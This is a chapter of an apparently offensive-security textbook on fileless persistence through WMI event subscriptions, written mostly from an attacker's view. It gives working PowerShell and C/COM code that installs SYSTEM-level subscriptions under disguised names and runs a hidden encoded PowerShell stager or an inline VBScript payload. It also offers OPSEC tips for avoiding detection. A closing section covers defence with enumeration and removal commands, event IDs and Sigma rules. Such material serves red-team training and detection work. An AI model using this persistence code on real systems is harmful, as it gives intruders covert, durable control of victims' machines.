Chapter 126

Persistence: WMI Event Subscriptions

Fileless persistence via WMI permanent event subscriptions: __EventFilter, __EventConsumer, __FilterToConsumerBinding — deploying ActiveScriptEventConsumer and CommandLineEventConsumer, embedding encoded payloads, and how WMI subscriptions survive reimaging if the repository persists

Scenario

The SOC ran Autoruns after finding your Run key and cleaned every scheduled task, registry value, and service. Your beacon went dark. But you had a backup: a WMI event subscription created three days earlier. Nothing in Autoruns shows it — most analysts don't check the WMI repository. The subscription fires whenever Win32_LocalTime.Hour=8 (8 AM daily). At 8 AM the next morning, your beacon comes back. The persistence mechanism lived entirely in the WMI repository (C:\Windows\System32\wbem\Repository\) — no file on disk, no registry Run key, no scheduled task XML.

WMI Subscription Model

WMI Permanent Event Subscription requires 3 WMI objects: __EventFilter → WHAT to watch for (the trigger condition) WQL query that specifies the event to monitor e.g. "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 8" __EventConsumer → WHAT to do when filter fires (the action) Types: CommandLineEventConsumer → runs a command / executable ActiveScriptEventConsumer → runs VBScript/JScript LogFileEventConsumer → writes to file (recon only) NTEventLogEventConsumer → writes Windows Event Log __FilterToConsumerBinding → LINK between filter and consumer Storage: All three objects persisted to WMI repository: C:\Windows\System32\wbem\Repository\OBJECTS.DATA Survives reboots, survives user changes, NOT cleaned by most AV Cleaned by: re-installing Windows, rebuilding WMI repository Execution context: Runs as SYSTEM (WmiPrvSE.exe is the host process) Triggered by WMI service — completely independent of logged-in user

The Three Classes in Detail

-- WMI WQL queries for common trigger conditions

-- 1. Time-based: fires every morning at 8:00 AM
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 8
AND TargetInstance.Minute = 0

-- 2. Process creation: fires when powershell.exe starts
SELECT * FROM __InstanceCreationEvent WITHIN 5
WHERE TargetInstance ISA 'Win32_Process'
AND TargetInstance.Name = 'powershell.exe'

-- 3. System uptime: fires 60 seconds after boot
SELECT * FROM __InstanceModificationEvent WITHIN 10
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 60
AND PreviousInstance.SystemUpTime < 60

-- 4. User logon (via logon session creation event)
SELECT * FROM __InstanceCreationEvent WITHIN 10
WHERE TargetInstance ISA 'Win32_LogonSession'
AND TargetInstance.LogonType = 2

-- Consumer types:
-- CommandLineEventConsumer: execute a command
--   Properties: ExecutablePath, CommandLineTemplate
-- ActiveScriptEventConsumer: execute VBScript/JScript
--   Properties: ScriptingEngine ("VBScript"), ScriptText (inline code)
--   Script can be fileless: entire payload as inline VBScript string

PowerShell Deployment

# Create WMI event subscription for persistence
# Runs as SYSTEM, fires every morning at 8 AM

$FilterName    = "WindowsUpdateCheck"
$ConsumerName  = "WindowsUpdateConsumer"
$Payload       = 'powershell -NoP -NonI -W Hidden -Enc <BASE64_STAGER>'

# Step 1: Create __EventFilter (the trigger)
$WQL = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 8 AND TargetInstance.Minute = 0"

$Filter = Set-WmiInstance -Namespace "root\subscription" `
    -Class "__EventFilter" `
    -Arguments @{
        Name        = $FilterName
        EventNameSpace = "root\cimv2"
        QueryLanguage = "WQL"
        Query       = $WQL
    }

# Step 2: Create CommandLineEventConsumer (the action)
$Consumer = Set-WmiInstance -Namespace "root\subscription" `
    -Class "CommandLineEventConsumer" `
    -Arguments @{
        Name                = $ConsumerName
        ExecutablePath      = "C:\Windows\System32\cmd.exe"
        CommandLineTemplate = "/c $Payload"
        WorkingDirectory    = "C:\Windows\System32"
        RunInteractively    = $false
    }

# Step 3: Bind filter to consumer
$Binding = Set-WmiInstance -Namespace "root\subscription" `
    -Class "__FilterToConsumerBinding" `
    -Arguments @{
        Filter   = $Filter
        Consumer = $Consumer
    }

Write-Host "[+] WMI persistence installed"
Write-Host "[+] Fires daily at 08:00 as SYSTEM via WmiPrvSE.exe"

# Verify installation
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter | Select Name
Get-WmiObject -Namespace "root\subscription" -Class CommandLineEventConsumer | Select Name
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding

C/COM Deployment

// Deploy WMI subscription via COM (IWbemServices) — no PowerShell artifacts

BOOL DeployWMIPersistence(const wchar_t* filterName, const wchar_t* consumerName,
                          const wchar_t* commandLine) {
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    IWbemLocator* pLoc = NULL;
    CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER,
                     IID_IWbemLocator, (LPVOID*)&pLoc);

    IWbemServices* pSvc = NULL;
    pLoc->ConnectServer(_bstr_t(L"ROOT\\subscription"),
                         NULL, NULL, NULL, 0, NULL, NULL, &pSvc);
    pLoc->Release();

    CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
                      RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE,
                      NULL, EOAC_NONE);

    // Create __EventFilter instance
    IWbemClassObject* pFilterClass = NULL;
    pSvc->GetObject(_bstr_t(L"__EventFilter"), 0, NULL, &pFilterClass, NULL);

    IWbemClassObject* pFilter = NULL;
    pFilterClass->SpawnInstance(0, &pFilter);
    pFilterClass->Release();

    VARIANT v; VariantInit(&v);
    v.vt = VT_BSTR;

    v.bstrVal = _bstr_t(filterName).Detach();
    pFilter->Put(L"Name", 0, &v, 0); VariantClear(&v);

    v.vt = VT_BSTR; v.bstrVal = _bstr_t(L"WQL").Detach();
    pFilter->Put(L"QueryLanguage", 0, &v, 0); VariantClear(&v);

    v.vt = VT_BSTR; v.bstrVal = _bstr_t(L"root\\cimv2").Detach();
    pFilter->Put(L"EventNameSpace", 0, &v, 0); VariantClear(&v);

    v.vt = VT_BSTR;
    v.bstrVal = _bstr_t(L"SELECT * FROM __InstanceModificationEvent WITHIN 60 "
                        L"WHERE TargetInstance ISA 'Win32_LocalTime' "
                        L"AND TargetInstance.Hour = 8").Detach();
    pFilter->Put(L"Query", 0, &v, 0); VariantClear(&v);

    IWbemCallResult* pResult = NULL;
    pSvc->PutInstance(pFilter, WBEM_FLAG_CREATE_OR_UPDATE, NULL, &pResult);
    pFilter->Release();
    if (pResult) pResult->Release();

    // Similar pattern for CommandLineEventConsumer + FilterToConsumerBinding
    // (abbreviated — identical approach with class name substitution)

    pSvc->Release();
    CoUninitialize();
    return TRUE;
}

Fileless WMI Persistence via ActiveScriptEventConsumer

# ActiveScriptEventConsumer: entire payload as VBScript — no binary on disk
# The VBScript runs as SYSTEM under WmiPrvSE.exe

$VBScript = @'
Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -NoP -NonI -W Hidden -Enc BASE64PAYLOAD", 0, False
Set objShell = Nothing
'@

$Consumer = Set-WmiInstance -Namespace "root\subscription" `
    -Class "ActiveScriptEventConsumer" `
    -Arguments @{
        Name            = "WinUpdateScript"
        ScriptingEngine = "VBScript"
        ScriptText      = $VBScript   # inline — no file needed
        KillTimeout     = 0
    }

# OPSEC notes:
# ActiveScriptEventConsumer is heavily monitored — triggers MDI alert
# CommandLineEventConsumer is slightly less monitored but still in detections
# Best OPSEC: use a short VBScript that only calls CreateObject("WScript.Shell").Run
# with a minimal PowerShell IEX downloader — minimize inline payload size

# Fileless beacon location: base64 PS in the WMI subscription's ScriptText field
# No binary anywhere — only artifact is in WMI repository OBJECTS.DATA

Trigger Comparison

Trigger WQLWhen FiresOPSEC Notes
Win32_LocalTime (Hour=8)Daily at 8 AMLow frequency; random minutes reduces predictability
Win32_Process creation (powershell.exe)Every PowerShell spawnMay fire many times/day; beacon runs multiple instances
Win32_LogonSession (Type=2)Interactive logonGood for user-context operations; fires at predictable times
Win32_PerfFormattedData_PerfOS_System (uptime >= 60s)60 seconds after bootReliable boot persistence; fires once per boot
__InstanceModificationEvent WHERE TargetInstance ISA 'Win32_NTEventlogFile'Security log modificationFires on every security log write — excessive frequency

Enumerating and Removing WMI Subscriptions

# Enumerate all WMI subscriptions (forensic / detection)
Get-WMIObject -Namespace "root\subscription" -Class __EventFilter | Select-Object Name, Query
Get-WMIObject -Namespace "root\subscription" -Class __EventConsumer | Select-Object Name, ScriptText, CommandLineTemplate
Get-WMIObject -Namespace "root\subscription" -Class __FilterToConsumerBinding | Select-Object Filter, Consumer

# WMIExplorer (GUI tool): browse entire WMI repository including root\subscription
# Autoruns (updated versions): Check tab "WMI" — shows all subscriptions

# Remove specific subscription (incident response)
Get-WMIObject -Namespace "root\subscription" -Class __EventFilter -Filter "Name='WindowsUpdateCheck'" |
    Remove-WmiObject
Get-WMIObject -Namespace "root\subscription" -Class CommandLineEventConsumer -Filter "Name='WindowsUpdateConsumer'" |
    Remove-WmiObject
Get-WMIObject -Namespace "root\subscription" -Class __FilterToConsumerBinding |
    Where-Object { $_.Filter -like "*WindowsUpdateCheck*" } | Remove-WmiObject

# Nuclear option: rebuild WMI repository (also kills legitimate WMI subscriptions)
winmgmt /verifyrepository
winmgmt /resetrepository  # Use cautiously — breaks SCCM, monitoring agents, etc.

Detection Engineering

-- WMI subscription detection signals

-- Event IDs (Microsoft-Windows-WMI-Activity/Operational log):
--   5861: New __EventFilter subscription created
--   5860: New __EventConsumer subscription created
--   5858: Error in WMI subscription execution

-- Windows Event 19: WMIEventConsumerToFilter binding created (Sysmon)
-- Windows Event 20: WMIEventConsumer created (Sysmon)
-- Windows Event 21: WMIEventFilter binding created (Sysmon)

-- Sigma: WMI subscription for persistence
title: WMI Event Subscription Created
logsource:
  product: windows
  service: wmi
detection:
  subscription:
    EventID: 5861
    Namespace|contains: 'root/subscription'
  filter_legit:
    Consumer|contains:
      - 'SCM Event Log Consumer'  # SCCM
      - 'NTEventLogEventConsumer'
  condition: subscription AND NOT filter_legit
level: high

-- Sigma: WMI-spawned process (consumer execution)
title: WMI Event Consumer Command Execution
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\WmiPrvSE.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  condition: selection
level: high

-- Hunt query: all CommandLineEventConsumer templates in fleet
-- (lateral deployment: attacker may push same subscription to multiple hosts)
Get-WmiObject -ComputerName (Get-ADComputer -Filter *).DNSHostName `
    -Namespace "root\subscription" -Class CommandLineEventConsumer |
    Select PSComputerName, Name, CommandLineTemplate |
    Where-Object { $_.CommandLineTemplate -notmatch "^$" }

Q&A

Why do WMI subscriptions persist through reboots but not always through OS reinstalls?

WMI subscriptions are stored in the WMI repository, a binary database located at C:\Windows\System32\wbem\Repository\. The primary file is OBJECTS.DATA. This file is part of the Windows installation and persists across reboots because it's just a data file on the NTFS filesystem, not a volatile memory structure. It survives: power cycles, blue screens, service restarts, and even many system maintenance operations. It does not survive: a fresh OS installation that formats and overwrites the system partition, or deliberate WMI repository reconstruction via winmgmt /resetrepository. In practice, enterprise incident responders sometimes miss WMI subscriptions because they're focused on scheduled tasks, run keys, and services — the more familiar persistence locations. Autoruns (updated after ~2014) does enumerate root\subscription, but earlier incident response procedures may not include the WMI tab. The repository file is also opaque binary — you can't open it in a text editor — requiring either PowerShell WMI queries or specialized tools (WMI Explorer, Autoruns) to enumerate its contents. The combination of surviving reboots, living in an opaque binary blob, and running in a context (WmiPrvSE.exe as SYSTEM) that doesn't immediately look suspicious makes WMI one of the hardest persistence mechanisms to find manually.